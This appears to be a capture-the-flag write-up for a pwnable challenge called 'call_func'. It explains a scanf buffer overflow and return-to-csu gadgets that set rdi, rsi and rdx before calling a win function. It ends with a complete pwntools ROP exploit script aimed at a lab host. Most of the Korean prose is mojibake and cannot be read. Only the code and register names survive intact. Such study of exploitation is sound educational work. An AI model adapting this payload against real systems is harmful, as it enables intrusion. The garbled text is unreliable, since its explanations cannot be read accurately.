๋ถ์ผ : Pwnable
๐ญ ์ด ๋ฌธ์ ๋ Csu Gadget์ ์ด์ฉํ๋ ๊ฒ์ด ๋ชฉ์ ์ธ๋ฐ, ํด๋น ํจ์์์ ๊ฒ์ฆ ๋ก์ง ์ดํ fopen์ ํด์, ํด๋น ์ฃผ์๋ก RETํด์ฃผ๋ฉด ํ๋ฆฌ๊ฒ ๋๋ค... fopen์ ์์ ํด์ฃผ๊ณ ์ธ์ ๊ฒ์ฆ์ ํ์ด์ผ ํ๋๋ฐ.. ใ ใ
๐ง ๋ฌธ์
๋ฌธ์ ๋ช : call_func
RTC ๊ธฐ๋ฒ์ ์ดํดํ๊ณ , ๊ฐ ๋ ์ง์คํฐ ๊ฐ์ ์ค์ ํ๊ณ ํจ์๋ฅผ ํธ์ถํ์ฌ ํ๋๊ทธ๋ฅผ ์ป๋ ๋ฌธ์ ์ด๋ค.
์ ๊ตฌ์ฑ์ด ๋ฌธ์ ํ์ผ๋ก ์ ๊ณต๋๋ค. ๋ก์ปฌ์์ ๋์ปค ์ปจํ ์ด๋๋ฅผ ์ฌ๋ ค ์ต์คํ๋ก์์ ์งํํ๊ณ , ๋์ผํ ํ์ด๋ก๋๋ฅผ ์๋ฒ์ ์ ์กํ๋ฉด ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
๐ง ๋ถ์
๋ณดํธ ๊ธฐ๋ฒ์ ์์ ๊ฐ๋ค. ๋ฌธ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ถ์ํด๋ณด์.
main
ํจ์์ด๋ค. scanf์์ bof๊ฐ ๋ฐ์ํ๋ค.
win
ํจ์ ๋ง๋ค์ด์ ธ ์๊ณ , ์ด ํจ์์ ์ฃผ์๋ฅผ main
ํจ์ RET
์ ๋ฃ์ด์ ํธ์ถํ๋ค. ํ์ง๋ง, ์ธ์ 3๊ฐ๋ฅผ ๋๊ฒจ๋ฐ์ ๊ฐ์ด ๋ค๋ฅด๋ฉด ํ๋ก๊ทธ๋จ์ ์ข
๋ฃ์ํจ๋ค.
๋ฐ๋ผ์, 64bit ํจ์ ํธ์ถ ๊ท์ฝ ์์์ธ rdi
, rsi
, rdx
์ ๊ฐ์ ์ค์ ํด์ฃผ๊ณ ํจ์๋ฅผ ํธ์ถํด์ผ ํ๋ค.
__libc_csu_init
gadget์ ์ด์ฉํ์ฌ ๊ฐ ๋ ์ง์คํฐ๋ฅผ ์ค์ ํ ์ ์๋ค.
์ผ์ชฝ์ ์คํ์์ ๊ฐ ๋ ์ง์คํฐ์ pop
์ ํ๋ gadget์ด๊ณ , ์ค๋ฅธ์ชฝ์์ ์์ ์ค์ ํ ๋ ์ง์คํฐ ๊ฐ์์ edi
, rsi
, rdx
๋ฅผ ๋ณต์ฌํ๊ธฐ ๋๋ฌธ์ ์ํ๋ ๊ฐ ์ค์ ์ด ๊ฐ๋ฅํ๋ค.
๐ง ์ต์คํ๋ก์
from pwn import *
context.log_level='debug'
#p = process('./ret1')
e = ELF('./ret1')
p = remote('192.168.83.137', 13576)
csu_stage1 = 0x00000000004013fa
csu_stage2 = 0x00000000004013e0
ret_addr = 0x000000000040101a
win_addr = e.sym['ptr']
payload = b"A" * 0x48
payload += p64(ret_addr)
payload += p64(csu_stage1)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(0x44)
payload += p64(0x66)
payload += p64(0x88)
payload += p64(win_addr)
payload += p64(csu_stage2)
#gdb.attach(p)
#pause()
p.sendline(payload)
p.interactive()
ํด๋น exploit ์ฝ๋๋ฅผ ์คํํ๋ฉด ํ๋๊ทธ๋ฅผ ์ป์ ์ ์๋ค.